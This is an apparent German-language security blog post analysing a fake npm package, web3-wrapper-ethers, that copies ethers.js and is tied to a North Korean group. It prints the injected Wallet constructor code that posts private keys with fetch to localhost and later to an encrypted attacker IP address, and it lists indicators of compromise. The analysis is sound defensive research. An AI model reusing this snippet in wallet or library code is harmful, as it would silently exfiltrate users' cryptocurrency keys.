Aikido

Bösartiges Krypto-Diebstahl-Paket zielt auf Web3-Entwickelnde in nordkoreanischer Operation ab

Charlie EriksenCharlie Eriksen
|
#

Letzte Woche hat unsere automatisierte Malware-Analyse-Pipeline ein verdächtiges Paket gemeldet web3-wrapper-ethers. Das Paket imitiert das beliebte ethers Bibliothek und enthält verschleierten Code, der darauf ausgelegt ist, private Schlüssel zu stehlen. Unsere Untersuchung ergab, dass das Paket mit dem bekannten Bedrohungsakteur in Verbindung gebracht werden könnte Void Dokkaebi, einer Gruppe, die dafür bekannt ist, Kryptowährungen von Entwickelnden zu stehlen, die an der Entwicklung von Web3-, Blockchain- und Kryptowährungstechnologien beteiligt sind.

Das Paket

Das Paket wurde ursprünglich am 5. Juni um 00:45 Uhr GMT+0 veröffentlicht:

Wir sehen deutliche Anzeichen dafür, dass dieses Paket darauf ausgelegt ist, zu täuschen. Der Paketname lautet web3-wrapper-ethers, aber das Repository-Feld verweist auf das ethers.js Projekt auf GitHub. Tatsächlich haben die Angreifer das Repository einfach kopiert und geringfügige Änderungen vorgenommen. Sie veröffentlichten innerhalb eines Tages insgesamt 5 Versionen.

Der Autor

Das Paket wurde veröffentlicht von kaufman0913, mit der passenden E-Mail-Adresse kaufman0913@gmail[.]com

Die Wahl eines sehr niedrig aufgelösten Bildes von Rapunzel ist... interessant. Aber lassen wir uns davon vorerst nicht ablenken.

Was macht das Paket?

Um herauszufinden, was das Paket zu tun versucht, haben wir eine Kopie der neuesten Version von ethers heruntergeladen und einen Diff dagegen durchgeführt, um zu sehen, was die Angreifer getan hatten.

Wir stellten fest, dass die Versionen 6.14.3 und 6.14.4 keine tatsächlichen Änderungen am Code aufwiesen; sie änderten lediglich den Namen des Pakets. 

Die Dinge beginnen sich in Version zu ändern 6.14.5, wo wir sehen, dass sie eine neue Abhängigkeit in der package.json, hinzugefügt haben node-fetch und die entsprechende @types/node-fetch devDependency. Wir werden bald sehen, warum.

Die Hauptdatei, die die Entwickelnde geändert hat, ist die Datei src.ts/wallet/wallet.ts, was auch zu Änderungen an lib.esm/wallet/wallet.js und lib.commonjs/wallet/wallet.js, welche die entsprechenden kompilierten Versionen derselben Datei sind.

Wir sehen in 6.14.5 , dass sie den Konstruktor der Klasse geändert haben, indem sie alles unterhalb des super() Aufrufs hinzugefügt haben::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Hier sehen wir ein deutliches Zeichen dafür, dass sie versuchen, private Schlüssel zu exfiltrieren. Tatsächlich machen ihre Kommentare sehr deutlich, dass sie den privaten Schlüssel an einen Server senden. Aber er zeigt auf eine Localhost-Adresse. Sie tun dies also in Echtzeit, was gut ist. Es gibt uns einen Einblick in ihren Entwicklungsprozess.

In 6.14.6, der Code ändert sich. Er sieht jetzt so aus:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Was steckt also hinter der verschlüsselten enc-Variable? Hier ist es!

http:/74.119.194[.]244/fetch

Fällt Ihnen etwas Ungewöhnliches auf? Es ist eine ungültige HTTP-URL. Es fehlt ein / im Protokoll. Hoppla! 

Die letzte Veröffentlichung, 6.14.7, führt keine wesentlichen Änderungen ein. Es entfernt lediglich den Kommentar im Code und das console.log. Die Angreifer müssen angenommen haben, dass sie fertig waren, sodass sie das Eingeständnis der Bösartigkeit und das Debug-Logging entfernen konnten. Sie haben jedoch das Problem nicht behoben, dass die URL immer noch ungültig ist. 

Nordkoreaner schon wieder?

Erst vor wenigen Monaten entdeckten wir nordkoreanische Hacker, die versuchten, Kryptowährungs-Wallets zu stehlen. Sie veröffentlichten auch Versionen in Echtzeit und debuggten ihren fehlerhaften Code. Es ist doch merkwürdig, dies wieder geschehen zu sehen, oder? Zumindest haben sie dieses Mal als Erstes node-fetch eingebunden, anstatt sich den Kopf darüber zu zerbrechen, warum ihre axios Aufrufe nicht funktionierten.

In diesem Fall haben wir eine weitere Information, die IP. Eine schnelle Suche auf VirusTotal nach der IP bestätigt unseren Verdacht:

Der Kommentar verweist auf:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

Und wir sehen tatsächlich, dass die IOC-Liste von TrendMicro diese IP als Egress-Knoten erwähnt: DPRK-bezogene Aktivität, via RDP von russischen IP-Adressen. Und ihre umfassende Berichterstattung stimmt sehr gut mit dem überein, was wir in diesem Paket sehen: Ziel sind Entwickelnde, die mit Web3/Krypto zu tun haben, mit dem Versuch, Währung zu stehlen. 

Indikatoren für Kompromittierung

Glücklicherweise gibt es keine Anzeichen dafür, dass dieses Paket jemals Schaden angerichtet hätte, wenn es heruntergeladen und/oder ausgeführt worden wäre, da der Code nicht voll funktionsfähig war. Sollten Sie das Paket jedoch installiert haben, prüfen Sie den Traffic zur untenstehenden IP, um sicherzustellen, dass kein Schaden entstanden ist. Wenn Sie Traffic zu dieser IP-Adresse bemerken, gehen Sie davon aus, dass Ihre Krypto-Schlüssel kompromittiert wurden. 

Paket:

web3-wrapper-ethers

IP:

74.119.194[.]244

Weitere Forschungsergebnisse von Aikido Security finden Sie hier

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.